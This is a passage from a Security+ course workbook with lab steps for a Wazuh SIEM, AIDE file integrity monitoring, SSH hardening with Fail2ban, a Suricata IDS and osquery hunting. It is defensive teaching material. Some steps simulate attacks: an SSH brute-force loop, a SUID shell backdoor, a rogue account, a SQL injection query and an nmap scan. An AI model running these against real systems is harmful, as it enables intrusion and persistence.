Step-by-step

1. Install the Wazuh all-in-one stack The official installer deploys the manager, indexer and dashboard on one host. -i skips the hardware check on small lab VMs.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
curl jq openssh-client

cd /root && curl -sO https://packages.wazuh.com/4.9/wazuh-install.sh

bash wazuh-install.sh -a -i 2>&1 | tail -8
```

2. Confirm the services and collect the API password Check the three components and their ports: 1514 receives agent events, 55000 is the REST API and 9200 is the indexer.

```
for s in wazuh-manager wazuh-indexer wazuh-dashboard; do printf '%-16s
%s\n' "$s" "$(systemctl is-active $s)"; done

ss -tlnp | grep -E ':(1514|1515|55000|9200|443) '

API_PASS=$(tar -xOf /root/wazuh-install-files.tar
wazuh-install-files/wazuh-passwords.txt | grep -A1 "api_username: 'wazuh'"
| awk -F"'" '/api_password/ {print $2}')

echo "API password captured: ${API_PASS:+yes}"
```

3. Aggregate an application log and add a custom detection Tell the manager to collect a new application log, then write a local rule that alerts when the app records a bulk export of customer data. Restart the manager to load both changes and test the rule offline with wazuh-logtest.

```
touch /var/log/labapp.log

cat >> /var/ossec/etc/ossec.conf <<'EOF'

<ossec_config>

  <localfile>

    <log_format>syslog</log_format>

    <location>/var/log/labapp.log</location>

  </localfile>

</ossec_config>

EOF

cat >> /var/ossec/etc/rules/local_rules.xml <<'EOF'


<group name="local,labapp,">
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
  <rule id="100100" level="10">

    <match>LABAPP: bulk export</match>

    <description>Lab app: bulk export of customer records (possible data
exfiltration)</description>

    <mitre><id>T1567</id></mitre>

  </rule>

</group>

EOF

systemctl restart wazuh-manager && sleep 10

echo 'Oct 28 10:15:00 web01 labapp: LABAPP: bulk export user=bob
rows=50000' | /var/ossec/bin/wazuh-logtest 2>&1 | grep -E "id: '100100'|
level:|description:"
```

4. Generate security events Create two kinds of evidence: repeated SSH logins as non-existent users (Wazuh rules 5710 and the 5712 brute-force correlation) and a bulk export written to the application log.

```
for i in $(seq 1 12); do ssh -o BatchMode=yes -o StrictHostKeyChecking=no
-o ConnectTimeout=3 "baduser$i@127.0.0.1" true 2>/dev/null; done

echo "$(date '+%b %e %H:%M:%S') $(hostname) labapp: LABAPP: bulk export
user=bob rows=50000" >> /var/log/labapp.log

sleep 20
```

5. Read the alerts and build a report Alerts land in /var/ossec/logs/alerts/alerts.json. Read the relevant ones, then produce a simple count by rule, which is the start of a SOC report.

```
ALERTS=/var/ossec/logs/alerts/alerts.json

jq -c 'select(.rule.id=="5710" or .rule.id=="5712" or .rule.id=="100100") |
{time:.timestamp, rule:.rule.id, level:.rule.level, desc:.rule.description,
srcip:.data.srcip}' "$ALERTS" | tail -6

echo "== Alert summary by rule =="

jq -r '"\(.rule.level)\t\(.rule.id)\t\(.rule.description)"' "$ALERTS" |
sort | uniq -c | sort -nr | head -10 | tee /root/alert-summary.txt
```

6. Tune out a known-good source An approved vulnerability scanner at 10.99.99.99 triggers invalid-user alerts every night. Add a narrowly scoped child rule at level 0 that silences only that source, then prove it with wazuh-logtest: the same event from another address still alerts.

```
cat >> /var/ossec/etc/rules/local_rules.xml <<'EOF'
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
<group name="local,tuning,">

  <rule id="100110" level="0">

    <if_sid>5710</if_sid>

    <srcip>10.99.99.99</srcip>

    <description>Tuning: approved scanner 10.99.99.99 (change CR-2026-118)
- suppressed</description>

  </rule>

</group>

EOF

systemctl restart wazuh-manager && sleep 10

printf '%s\n' "Oct 28 02:00:01 web01 sshd[4242]: Invalid user admin from
10.99.99.99 port 51000" \

  | /var/ossec/bin/wazuh-logtest 2>&1 | grep -E "id: '|level:"

printf '%s\n' "Oct 28 02:00:02 web01 sshd[4243]: Invalid user admin from
203.0.113.50 port 51001" \

  | /var/ossec/bin/wazuh-logtest 2>&1 | grep -E "id: '|level:"
```

7. Query the SIEM through its REST API SOAR playbooks and reporting tools talk to the SIEM through its API. Authenticate, then read the manager status and the agent list.

```
API_PASS=$(tar -xOf /root/wazuh-install-files.tar
wazuh-install-files/wazuh-passwords.txt | grep -A1 "api_username: 'wazuh'"
| awk -F"'" '/api_password/ {print $2}')

TOKEN=$(curl -sk -u "wazuh:$API_PASS" -X POST
"https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN"
"https://localhost:55000/manager/status" | jq '.data.affected_items[0]' |
head -12

curl -sk -H "Authorization: Bearer $TOKEN" "https://localhost:55000/agents?
select=name,ip,status" | jq '.data.affected_items'
```

8. Turn on archiving and check retention By default only alerts are stored. Enable the JSON archive so every event is kept for retrospective hunting, and look at how Wazuh rotates and compresses logs by date.

```
sed -i 's|<logall_json>no</logall_json>|<logall_json>yes</logall_json>|'
/var/ossec/etc/ossec.conf
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
grep -m1 logall_json /var/ossec/etc/ossec.conf

systemctl restart wazuh-manager && sleep 15

echo "$(date '+%b %e %H:%M:%S') $(hostname) labapp: LABAPP: login
user=alice" >> /var/log/labapp.log

sleep 10

tail -1 /var/ossec/logs/archives/archives.json | jq -c '{time:.timestamp,
location:.location, log:.full_log}'

ls /var/ossec/logs/alerts/ /var/ossec/logs/archives/
```

Test it

Alert counts appear for rule 5710 and the custom rule 100100, no level-0 alerts remain in the alert file, and archives.json exists so archiving is on.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-33-siem-wazuh/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 34 — File Integrity Monitoring with AIDE

Exam objective: 4.4. Learning outcome: Baseline critical files, detect tampering and re-baseline.

Goal: The learner baselines critical files with AIDE, detects a defacement, a dropped backdoor and a new account, responds by restoring and quarantining, re-baselines after an approved change and forwards the check to syslog.

What you'll build

A scoped AIDE config and protected baseline, a tamper report, a quarantine folder and a scheduled check to the journal. (Tools: aide, cron, logger, journalctl.)

Step-by-step

1. Install AIDE

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
aide

aide --version 2>&1 | head -1
```

2. Create the content to protect Simulate a small web application and an admin script. Keep a known-good copy of the web page so you can restore it later.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
mkdir -p /srv/webapp /root/known-good /root/quarantine

echo '<h1>SecPlus Bank - Welcome</h1>' > /srv/webapp/index.html

printf '[db]\nhost=10.0.20.5\nuser=webapp\n' > /srv/webapp/app.ini

printf '#!/bin/sh\ntar -czf /tmp/webapp-backup.tgz /srv/webapp\n' >
/usr/local/bin/backup-webapp.sh

chmod 755 /usr/local/bin/backup-webapp.sh

cp -a /srv/webapp/index.html /root/known-good/
```

3. Write a scoped AIDE configuration A dedicated, small configuration keeps the scan fast and the report readable. LAB checks permissions, inode, links, owner, group, size, mtime, ctime and SHA-256.

```
mkdir -p /var/lib/aide/lab

cat > /etc/aide/aide-lab.conf <<'EOF'

database_in=file:/var/lib/aide/lab/aide.db

database_out=file:/var/lib/aide/lab/aide.db.new

gzip_dbout=no

report_url=stdout

LAB = p+i+n+u+g+s+m+c+sha256

/srv/webapp LAB

/usr/local/bin LAB

/etc/passwd LAB

/etc/shadow LAB

/etc/group LAB

/etc/sudoers LAB

EOF

aide --config=/etc/aide/aide-lab.conf --config-check && echo "configuration
OK"
```

4. Initialise the baseline and protect it Create the database on the clean system, promote it to the reference copy, make it read-only and record its own hash "off-host" so that tampering with the baseline is detectable too.

```
aide --config=/etc/aide/aide-lab.conf --init

cp /var/lib/aide/lab/aide.db.new /var/lib/aide/lab/aide.db
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
chmod 400 /var/lib/aide/lab/aide.db

mkdir -p /root/offhost && sha256sum /var/lib/aide/lab/aide.db | tee
/root/offhost/aide-db.sha256

aide --config=/etc/aide/aide-lab.conf --check; echo "clean check exit code:
$?"
```

5. Simulate an intrusion The attacker defaces the web page, drops a SUID backdoor next to the admin script and creates a persistence account.

```
echo '<h1>HACKED by lab-actor</h1>' > /srv/webapp/index.html

cp /bin/sh /usr/local/bin/.sysupdate && chmod 4755
/usr/local/bin/.sysupdate

useradd -m -s /bin/bash svc-update
```

6. Detect the changes Run the check. AIDE's exit code is a bit mask (1 = added, 2 = removed, 4 = changed), so a non-zero code is itself an alert signal.

```
aide --config=/etc/aide/aide-lab.conf --check > /root/aide-tamper-
report.txt; echo "exit code: $?"

grep -E '^[fdl].*: /|^File: ' /root/aide-tamper-report.txt | head -20

grep -E '^(Added|Removed|Changed) entries|Total number' /root/aide-tamper-
report.txt
```

7. Respond: restore and quarantine Restore the page from the known-good copy, quarantine the backdoor (move it, strip its permissions, keep it as evidence) and lock the rogue account pending investigation.

```
cp -a /root/known-good/index.html /srv/webapp/index.html

mv /usr/local/bin/.sysupdate /root/quarantine/sysupdate.evidence && chmod
000 /root/quarantine/sysupdate.evidence

sha256sum /root/quarantine/sysupdate.evidence 2>/dev/null || ls -l
/root/quarantine/

usermod -L -s /usr/sbin/nologin svc-update

aide --config=/etc/aide/aide-lab.conf --check | grep -E '^(Added|Removed|
Changed) entries|^f'
```

8. Re-baseline after the approved change The change board approves keeping svc-update locked for forensics. Verify the stored baseline against its off-host hash, update the database to the new known state and confirm that a check is clean again.

```
sha256sum -c /root/offhost/aide-db.sha256

aide --config=/etc/aide/aide-lab.conf --update >/dev/null; echo "update
exit code: $?"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
chmod 600 /var/lib/aide/lab/aide.db && cp /var/lib/aide/lab/aide.db.new
/var/lib/aide/lab/aide.db && chmod 400 /var/lib/aide/lab/aide.db

sha256sum /var/lib/aide/lab/aide.db > /root/offhost/aide-db.sha256

aide --config=/etc/aide/aide-lab.conf --check >/dev/null; echo "post-update
check exit code: $?"
```

9. Schedule the check and forward it to syslog Run the check daily and send the output to syslog with a tag, so that the SIEM (Lab 33) can alert on it. Run it once now and read the result back from the journal; on the re-baselined system AIDE reports no differences.

```
cat > /etc/cron.d/aide-lab <<'EOF'

# Daily FIM check at 03:15, results to syslog for the SIEM

15 3 * * * root /usr/bin/aide --config=/etc/aide/aide-lab.conf --check 2>&1
| /usr/bin/logger -t aide-lab

EOF

/usr/bin/aide --config=/etc/aide/aide-lab.conf --check 2>&1 |
/usr/bin/logger -t aide-lab

journalctl -t aide-lab --no-pager -n 20 | grep -iE 'differences|Changed
entries' | head -3
```

Test it

The clean check exits 0; after the intrusion the report lists the changed page, the added SUID binary and the new account; after re-baseline the check is clean again.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-34-file-integrity-aide/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 4.5 — Enterprise Security Capabilities

Official objective: Given a scenario, modify enterprise capabilities to enhance security.

This objective is the enterprise defence toolkit: the controls you add or reconfigure to raise the security of an existing network.

Network controls include firewalls with rules and screened subnets, IDS/IPS using signatures and trends, web and DNS filtering, and secure-protocol selection.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Email security (SPF, DKIM, DMARC and a secure gateway) defends the most-abused channel, while file integrity monitoring, DLP and NAC protect data and access.

On the endpoint, EDR/XDR provides behavioural detection and response, and user behaviour analytics flags activity that deviates from a learned baseline.

Firewalls: Rules and Placement

- Rules / access lists — Ordered allow and deny rules matched top-down on source, destination, port and protocol; an implicit deny ends the list.
- Ports / protocols — Permit only the services actually needed, by port and protocol, and block everything else to shrink the attack surface.
- Screened subnet — A DMZ between two firewalls holds internet-facing servers, so a compromise there does not reach the internal network.
- Network vs application — A traditional firewall filters by address and port; a next-gen or application firewall also inspects the application layer.

IDS versus IPS

- IDS: detect only: Receives a copy of traffic from a tap or SPAN, out of band.
- IDS: detect only: Can only alert and log; the packet already reached the target.
- IDS: detect only: A failure or overload never breaks production traffic.
- IDS: detect only: Suits monitoring and tuning new signatures safely.
- IPS: detect and block: Sits inline, so every packet passes through and can be dropped.
- IPS: detect and block: A false positive now blocks legitimate business traffic.
- IPS: detect and block: Must be set deliberately to fail-open or fail-closed.
- IPS: detect and block: Uses signatures and trend/anomaly detection to decide.

Web Filtering

- Agent-based — A client agent on the endpoint enforces the policy wherever the device is, including off the corporate network.
- Centralized proxy — All web traffic routes through a proxy that inspects and enforces the policy in one place.
- URL scanning & categories — Classify sites into categories (adult, social, malware, phishing) and block whole categories with a tick-box.
- Block rules & reputation — Explicit block rules plus reputation scoring stop newly seen or low-reputation sites before a category is even assigned.

OS Hardening and Secure Protocols

- Group Policy — On Windows domains, Group Policy pushes security settings to every joined machine from one central place.
- SELinux — Mandatory access control on Linux that confines each process by policy, so a compromised service cannot exceed its label.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Protocol selection — Choose the secure variant: SSH not Telnet, HTTPS not HTTP, SFTP/FTPS not FTP, IMAPS/POP3S not cleartext.
- Port & transport — Select the matching secure port and a protected transport (TLS), so the right protocol is not undone by the wrong port.

DNS Filtering and Email Security

- DNS filtering — Block resolution of known-malicious or disallowed domains at the DNS layer, stopping connections before they start.
- SPF — Sender Policy Framework lists which servers may send mail for a domain, so spoofed senders are detectable.
- DKIM — DomainKeys Identified Mail signs outgoing mail, so the recipient can verify it was not altered and came from the domain.
- DMARC — Builds on SPF and DKIM to tell receivers what to do with mail that fails (none, quarantine, reject) and to report back.
- Secure gateway — An email security gateway filters spam, phishing and malware and enforces DLP on messages before they are delivered.

FIM, DLP and NAC

- File integrity monitoring — Detective control that hashes critical files and alerts when a watched file is modified, added or removed.
- DLP — Data loss prevention inspects data in use, in motion and at rest, and blocks sensitive data (card numbers, NRIC) from leaving.
- NAC — Network access control checks a device's identity and posture before admitting it, and can quarantine non-compliant hosts.
- Posture check — NAC can require patch level, antivirus and encryption before a device joins, placing failures on a remediation VLAN.

Antivirus versus EDR/XDR, and UBA

- Signature antivirus: Matches files against known malware hashes and patterns.
- Signature antivirus: Blocks at execution, then largely forgets what happened.
- Signature antivirus: Blind to fileless attacks that live in memory.
- Signature antivirus: Leaves little history for an investigator to reconstruct.
- EDR / XDR: Continuously records process, file and network telemetry.
- EDR / XDR: Detects behaviour chains and supports response (kill, isolate).
- EDR / XDR: XDR correlates endpoint with network, email, identity and cloud.
- EDR / XDR: UBA baselines normal user behaviour and flags deviations.

Exam tips

- IDS is passive (tap, alert only); IPS is inline (can drop). Fail-open favours availability, fail-closed favours security.
- SPF lists allowed senders, DKIM signs the message, DMARC sets the policy (none/quarantine/reject) and reporting on failures.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- EDR records and responds on the endpoint; XDR correlates across layers; UBA/UEBA flags deviations from a learned baseline.
- Screened subnet (DMZ) isolates internet-facing servers; a signature IDS misses zero-days that trend/anomaly detection may catch.
- Secure protocol selection: SSH over Telnet, HTTPS over HTTP, SFTP/FTPS over FTP, with the matching secure port.

Lab 35 — Secure Remote Access: SSH Hardening and Fail2ban

Exam objective: 4.5. Learning outcome: Enforce key-only SSH and auto-ban brute-force sources.

Goal: The learner replaces password logins with key-only SSH, restricts the protocol to modern cryptography, and lets Fail2ban turn failed-login logs into automatic firewall blocks against a simulated attacker address.

What you'll build

A hardened sshd drop-in with a banner, an Ed25519 key login and a Fail2ban jail that bans 10.10.10.10. (Tools: openssh-server, fail2ban, nftables, ssh-keygen.)

Step-by-step

1. Install the tools

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
openssh-server openssh-client fail2ban python3-systemd nftables

systemctl enable --now ssh

systemctl is-active ssh
```

2. Audit the current exposure Record the effective SSH settings before you change anything, and confirm that no cleartext remote-access protocol is listening (Telnet on 23, rlogin on 513).

```
sshd -T | grep -Ei '^(port|permitrootlogin|passwordauthentication|
kbdinteractiveauthentication|pubkeyauthentication|maxauthtries|
x11forwarding) '

ss -tlnp | grep -E ':(22|23|513) ' || true

ss -tln | grep -qE ':(23|513) ' && echo "WARNING: cleartext remote access
listening" || echo "OK: no Telnet or rlogin listener"
```

3. Create and authorise an Ed25519 key

```
mkdir -p -m 700 ~/.ssh

ssh-keygen -t ed25519 -f ~/.ssh/secplus_ed25519 -N "" -C "secplus-lab-key"
-q
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cat ~/.ssh/secplus_ed25519.pub >> ~/.ssh/authorized_keys && chmod 600
~/.ssh/authorized_keys

ssh-keygen -lf ~/.ssh/secplus_ed25519.pub
```

4. Harden sshd with a drop-in file Files in sshd_config.d are read in name order and the first value set wins, so the 01- prefix makes these settings take priority. PermitRootLogin prohibit-password keeps key-based root access for this playground; in production you would set no and log in as a named user.

```
cat > /etc/issue.net <<'EOF'

AUTHORISED ACCESS ONLY. Activity on this system is monitored and recorded.

Unauthorised access is an offence under the Computer Misuse Act 1993.

EOF

cat > /etc/ssh/sshd_config.d/01-secplus-hardening.conf <<'EOF'

PermitRootLogin prohibit-password

PasswordAuthentication no

KbdInteractiveAuthentication no

PubkeyAuthentication yes

PermitEmptyPasswords no

MaxAuthTries 3

LoginGraceTime 20

X11Forwarding no

ClientAliveInterval 300

ClientAliveCountMax 2

KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org

Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-
gcm@openssh.com

MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com

Banner /etc/issue.net

EOF

sshd -t && systemctl restart ssh && echo "sshd configuration valid and
reloaded"

sshd -T | grep -Ei '^(passwordauthentication|maxauthtries|ciphers|
kexalgorithms) '
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

5. Verify key-only login and the negotiated crypto The key login must succeed, the password method must be refused, and the verbose output shows the modern key exchange and cipher actually in use.

```
ssh -i ~/.ssh/secplus_ed25519 -o StrictHostKeyChecking=accept-new -o
BatchMode=yes root@127.0.0.1 'echo KEY-LOGIN-OK'

ssh -o PubkeyAuthentication=no -o PreferredAuthentications=password -o
BatchMode=yes root@127.0.0.1 true 2>&1 | tail -1

ssh -v -i ~/.ssh/secplus_ed25519 -o BatchMode=yes root@127.0.0.1 true 2>&1
| grep -m2 -E 'kex: algorithm:|kex: server->client cipher'
```

6. Configure the Fail2ban jail Add a lab "attacker" address on the loopback interface so that you can ban it without cutting off your own session. Fail2ban normally ignores the host's own addresses, so this jail switches that off for the lab.

```
ip addr add 10.10.10.10/32 dev lo 2>/dev/null || true

cat > /etc/fail2ban/jail.d/sshd-secplus.local <<'EOF'

[sshd]

enabled    = true

backend    = systemd

port       = ssh

maxretry   = 3

findtime   = 10m

bantime    = 1h

ignoreself = false

ignoreip   =

EOF

systemctl restart fail2ban && sleep 3

fail2ban-client status sshd
```

7. Simulate a brute-force attempt from the attacker address Bind the SSH client to 10.10.10.10 and try several non-existent users. Each attempt is logged as an invalid user, and on the third failure Fail2ban bans the source.

```
for u in admin oracle test guest ubuntu; do

  ssh -b 10.10.10.10 -o BatchMode=yes -o StrictHostKeyChecking=no -o
ConnectTimeout=3 "$u@10.10.10.10" true 2>/dev/null

done
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
sleep 5

fail2ban-client status sshd | grep -E 'Currently failed|Total failed|Banned
IP list'
```

8. Confirm the firewall block, then unban The ban is a real packet-filter rule. From the banned address the connection now times out, while key login from 127.0.0.1 still works. Finish with the administrator override.

```
nft list ruleset 2>/dev/null | grep -B3 -A3 '10.10.10.10' || iptables -S |
grep -E 'f2b|10.10.10.10'

ssh -b 10.10.10.10 -o BatchMode=yes -o ConnectTimeout=3 root@10.10.10.10
true 2>&1 | tail -1

ssh -i ~/.ssh/secplus_ed25519 -o BatchMode=yes root@127.0.0.1 'echo STILL-
OK-FROM-LOCALHOST'

fail2ban-client set sshd unbanip 10.10.10.10

fail2ban-client status sshd | grep 'Banned IP list'
```

Test it

sshd -T confirms passwordauthentication no, key login prints KEY-LOGIN-OK, and Fail2ban lists 10.10.10.10 in the banned IP list until it is unbanned.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-35-ssh-hardening-fail2ban/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 36 — Network IDS with Suricata

Exam objective: 4.5. Learning outcome: Run Suricata as an IDS, write signatures and read alerts.

Goal: The learner runs Suricata as a network IDS on loopback, loads the open ruleset, writes three custom signatures (content, web-attack, scan threshold), generates matching traffic and summarises the alerts from eve.json.

What you'll build

A Suricata sensor on loopback, a custom rule file with three signatures and a jq alert report. (Tools: suricata, suricata-update, jq, nmap.)

Step-by-step

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

1. Install Suricata and helpers Suricata is in the Ubuntu archive; jq reads the JSON alerts and nmap generates scan traffic against your own host.

```
apt-get update -qq && apt-get install -y suricata jq nmap curl python3

suricata --build-info | grep -E "^This is Suricata|AF_PACKET"
```

2. Download the open ruleset suricata-update fetches the free Emerging Threats Open ruleset into /var/lib/suricata/rules/suricata.rules.

```
suricata-update -q || echo "Ruleset download failed — the custom rules in
step 4 still work offline"

ls -lh /var/lib/suricata/rules/ 2>/dev/null

grep -c "^alert" /var/lib/suricata/rules/suricata.rules 2>/dev/null || true
```

3. Start a local web server to protect All test traffic stays on this playground. The server listens on port 8080 on loopback.

```
mkdir -p /srv/lab36 && echo "Lab 36 web app" > /srv/lab36/index.html

cd /srv/lab36 && nohup python3 -m http.server 8080 --bind 127.0.0.1
>/tmp/web36.log 2>&1 &

sleep 1; curl -s http://127.0.0.1:8080/
```

4. Write custom signatures Three local rules: a forbidden admin path, a SQL-injection pattern in the URI, and a threshold rule that fires when one source sends many SYN packets in a short window (a port scan).

```
mkdir -p /etc/suricata/rules

cat > /etc/suricata/rules/lab36.rules <<'EOF'

alert http any any -> any any (msg:"LAB36 access to restricted admin path";
flow:established,to_server; http.uri; content:"/secret-admin"; nocase;
classtype:policy-violation; sid:1000001; rev:1;)

alert http any any -> any any (msg:"LAB36 SQL injection pattern in URI";
flow:established,to_server; http.uri; content:"union select"; nocase;
classtype:web-application-attack; sid:1000002; rev:1;)

alert tcp any any -> any any (msg:"LAB36 possible TCP SYN port scan";
flags:S,12; threshold:type both, track by_src, count 20, seconds 10;
classtype:attempted-recon; sid:1000003; rev:1;)

EOF

suricata -T -c /etc/suricata/suricata.yaml -s
/etc/suricata/rules/lab36.rules -v 2>&1 | tail -3
```

5. Run Suricata in IDS mode on loopback -i lo sniffs the loopback interface, -k none disables checksum validation (loopback packets carry offloaded checksums), and -s adds the lab rules alongside the configured ruleset.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
rm -f /var/log/suricata/eve.json

suricata -c /etc/suricata/suricata.yaml -i lo -k none -s
/etc/suricata/rules/lab36.rules -l /var/log/suricata -D

sleep 15

tail -2 /var/log/suricata/suricata.log
```

6. Generate suspicious traffic against your own host Request the restricted path, send a SQL-injection-style query string, then run a fast SYN scan of localhost.

```
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:8080/secret-admin

curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/search?
q=1%20UNION%20SELECT%20password%20FROM%20users"

nmap -sS -p 1-200 -T4 127.0.0.1 >/dev/null

sleep 5
```

7. Read and summarise the alerts Every alert is one JSON line. Filter on event_type, then count by signature — the same triage an analyst does in a SIEM.

```
jq -c 'select(.event_type=="alert") | {time:.timestamp,
sid:.alert.signature_id, sig:.alert.signature, src:.src_ip,
dport:.dest_port}' /var/log/suricata/eve.json | tail -5

jq -r 'select(.event_type=="alert") | .alert.signature'
/var/log/suricata/eve.json | sort | uniq -c | sort -rn
```

8. Tune a noisy rule and compare IDS with IPS Suppress an alert for a trusted source instead of deleting the rule, then note what an inline IPS deployment would change.

```
cat >> /etc/suricata/threshold.config <<'EOF'

# Lab 36 tuning: ignore scans from a trusted vulnerability scanner address

suppress gen_id 1, sig_id 1000003, track by_src, ip 10.0.0.50

EOF

grep -n "1000003" /etc/suricata/threshold.config

grep -nE "^\s*#?\s*(copy-mode|mode): " /etc/suricata/suricata.yaml | head
-5
```

Test it

eve.json contains the three local sids 1000001, 1000002 and 1000003, proving the content rule, the web-attack rule and the scan-threshold rule all fired.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-36-ids-suricata/README.md. All labs run inside an isolated, disposable Killercoda

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 37 — Endpoint Detection and Response with osquery

Exam objective: 4.5. Learning outcome: Turn a host into an EDR sensor and hunt a planted threat.

Goal: The learner installs osquery, queries live host state with SQL, schedules a detection pack with osqueryd, plants a suspicious process and cron persistence, hunts them down, then preserves evidence, contains and eradicates.

What you'll build

osquery from the official repo, a scheduled secplus-hunt pack logging JSON results and an evidence folder of hashes. (Tools: osquery, osqueryd, jq, netcat-openbsd.)

Step-by-step

1. Install osquery from the official repository osquery is not in the Ubuntu archive, so add the project's signed apt repository. jq reads the JSON output and netcat-openbsd provides the binary you will disguise as malware in step 5.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
curl jq cron netcat-openbsd ca-certificates

mkdir -p /etc/apt/keyrings /root/edr

curl -fsSL https://pkg.osquery.io/deb/pubkey.gpg -o
/etc/apt/keyrings/osquery.asc

echo "deb [arch=$(dpkg --print-architecture)
signed-by=/etc/apt/keyrings/osquery.asc] https://pkg.osquery.io/deb deb
main" > /etc/apt/sources.list.d/osquery.list

apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
osquery

osqueryi --version
```

2. Ask the endpoint questions with osqueryi Every fact about the host is a table. Look at the system, the running processes, what is listening on the network and which accounts can log in.

```
osqueryi --json "SELECT hostname, cpu_brand, physical_memory FROM
system_info;"

osqueryi --json "SELECT pid, name, path, resident_size FROM processes ORDER
BY resident_size DESC LIMIT 5;"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
osqueryi --json "SELECT p.name, l.port, l.address, l.pid FROM
listening_ports l JOIN processes p USING (pid) WHERE l.port != 0;"

osqueryi --json "SELECT username, uid, shell FROM users WHERE shell NOT
LIKE '%nologin' AND shell NOT LIKE '%false';"
```

3. Baseline the persistence and privilege surface Attackers persist with scheduled tasks, escalate with SUID binaries and hide with kernel modules. Record what is normal now so you can spot what changes later.

```
osqueryi --json "SELECT path, command FROM crontab;" | tee
/root/edr/baseline-crontab.json | jq length

osqueryi --json "SELECT path, username, permissions FROM suid_bin;" |
tee /root/edr/baseline-suid.json | jq length

osqueryi --json "SELECT name, size, status FROM kernel_modules ORDER BY
name;" | tee /root/edr/baseline-modules.json | jq length

osqueryi --json "SELECT path, username, permissions FROM suid_bin;" | jq -r
'.[].path' | head -8
```

4. Schedule a detection pack with osqueryd A query pack is a set of scheduled queries. osqueryd runs each one on its interval and writes only the rows that were added or removed since the last run.

```
mkdir -p /etc/osquery/packs /var/log/osquery

cat > /etc/osquery/packs/secplus-hunt.conf <<'EOF'

{

  "queries": {

    "suspicious_processes": {

      "query": "SELECT pid, name, path, cmdline, on_disk FROM processes
WHERE on_disk = 0 OR path LIKE '/tmp/%' OR path LIKE '/dev/shm/%';",

      "interval": 30,

      "description": "Processes running from temp paths or whose binary was
deleted"

    },

    "listening_ports": {

      "query": "SELECT p.name, p.path, l.port, l.address FROM
listening_ports l JOIN processes p USING (pid) WHERE l.port != 0;",

      "interval": 30,

      "description": "New network listeners"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
    },
    "crontab": {
      "query": "SELECT path, command FROM crontab;",
      "interval": 30,
      "description": "Cron persistence"
    },
    "suid_binaries": {
      "query": "SELECT path, username, permissions FROM suid_bin;",
      "interval": 60,
      "description": "New SUID or SGID binaries"
    },
    "kernel_modules": {
      "query": "SELECT name, size FROM kernel_modules;",
      "interval": 60,
      "description": "Kernel module changes"
    }
  }
}
EOF
cat > /etc/osquery/osquery.conf <<'EOF'
{
  "options": {
    "config_plugin": "filesystem",
    "logger_plugin": "filesystem",
    "logger_path": "/var/log/osquery",
    "schedule_splay_percent": 10,
    "utc": "true"
  },
  "packs": {
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
    "secplus-hunt": "/etc/osquery/packs/secplus-hunt.conf"
  }
}
EOF
jq empty /etc/osquery/osquery.conf /etc/osquery/packs/secplus-hunt.conf &&
echo "JSON valid"
osqueryd --config_check --config_path=/etc/osquery/osquery.conf && echo
"osquery config OK"
systemctl enable osqueryd >/dev/null 2>&1; systemctl restart osqueryd
sleep 40; systemctl is-active osqueryd
